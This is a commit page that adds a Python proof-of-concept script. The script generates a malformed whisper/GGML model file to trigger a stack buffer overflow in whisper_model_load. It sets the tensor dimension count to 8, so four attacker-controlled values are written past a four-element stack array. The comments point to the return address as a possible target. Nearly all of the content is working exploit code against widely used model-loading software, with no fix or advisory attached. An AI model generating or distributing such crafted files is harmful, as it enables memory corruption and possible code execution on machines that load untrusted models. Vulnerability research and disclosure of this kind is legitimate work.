Rammadaeus commited on
Commit
df8394c
·
verified ·
1 Parent(s): 84e6ce3

Add PoC file: poc_generator.py

Browse files
Files changed (1) hide show
  1. poc_generator.py +84 -0
poc_generator.py ADDED
@@ -0,0 +1,84 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ Refined PoC for VULN-1: Stack buffer overflow via n_dims > 4
4
+ This is the most exploitable bug - writes controlled data to the stack.
5
+ """
6
+ import struct, os
7
+
8
+ GGML_FILE_MAGIC = 0x67676d6c
9
+
10
+ def write_i32(f, val):
11
+ f.write(struct.pack('<i', val))
12
+
13
+ def write_u32(f, val):
14
+ f.write(struct.pack('<I', val))
15
+
16
+ def write_f32(f, val):
17
+ f.write(struct.pack('<f', val))
18
+
19
+ path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "poc_refined_ndims.bin")
20
+ with open(path, 'wb') as f:
21
+ # Header
22
+ write_u32(f, GGML_FILE_MAGIC)
23
+ # hparams: minimal config
24
+ write_i32(f, 51864) # n_vocab
25
+ write_i32(f, 1500) # n_audio_ctx
26
+ write_i32(f, 384) # n_audio_state
27
+ write_i32(f, 6) # n_audio_head
28
+ write_i32(f, 4) # n_audio_layer
29
+ write_i32(f, 448) # n_text_ctx
30
+ write_i32(f, 384) # n_text_state
31
+ write_i32(f, 6) # n_text_head
32
+ write_i32(f, 4) # n_text_layer
33
+ write_i32(f, 80) # n_mels
34
+ write_i32(f, 1) # ftype
35
+
36
+ # Mel filters: n_mel=80, n_fft=201
37
+ write_i32(f, 80)
38
+ write_i32(f, 201)
39
+ for _ in range(80 * 201):
40
+ write_f32(f, 0.0)
41
+
42
+ # Vocab: 51864 tokens
43
+ write_i32(f, 51864)
44
+ for i in range(51864):
45
+ word = f"t{i}".encode()
46
+ write_u32(f, len(word))
47
+ f.write(word)
48
+
49
+ # Tensor 1: EXPLOITABLE - n_dims = 8 (overflows ne[4] by 4 int32s = 16 bytes)
50
+ # The ne[] array is int32_t ne[4] on the stack.
51
+ # Writing n_dims=8 writes 4 int32_t values past the end of ne[4].
52
+ # Those 4 values overwrite whatever is adjacent on the stack:
53
+ # - could be return address, saved frame pointer, or other local variables
54
+ #
55
+ # Stack layout in whisper_model_load at the tensor loop:
56
+ # int32_t ne[4] = {1,1,1,1} <- 16 bytes
57
+ # ... other locals ...
58
+ # Writing ne[4], ne[5], ne[6], ne[7] = controlled attacker values
59
+
60
+ write_i32(f, 8) # n_dims = 8 (will write ne[0..7], ne[4..7] are OOB)
61
+ write_i32(f, 27) # length of tensor name
62
+ write_i32(f, 0) # ttype = F32 (valid type)
63
+
64
+ # ne[0..3] - within bounds of ne[4]
65
+ write_i32(f, 384) # ne[0]
66
+ write_i32(f, 1500) # ne[1]
67
+ write_i32(f, 1) # ne[2]
68
+ write_i32(f, 1) # ne[3]
69
+
70
+ # ne[4..7] - STACK OVERFLOW - writes past end of ne[4] array
71
+ write_i32(f, 0x41414141) # ne[4] - OOB write #1
72
+ write_i32(f, 0x42424242) # ne[5] - OOB write #2
73
+ write_i32(f, 0x43434343) # ne[6] - OOB write #3
74
+ write_i32(f, 0x44444444) # ne[7] - OOB write #4
75
+
76
+ # Tensor name
77
+ f.write(b"encoder.positional_embedding")
78
+
79
+ # Padding
80
+ f.write(b"\x00" * 4096)
81
+
82
+ print(f"[+] Generated refined PoC: {path}")
83
+ print(f" Trigger: n_dims=8, writes 4 controlled int32 values past ne[4] stack buffer")
84
+ print(f" Impact: Stack buffer overflow with attacker-controlled data (0x41414141...)")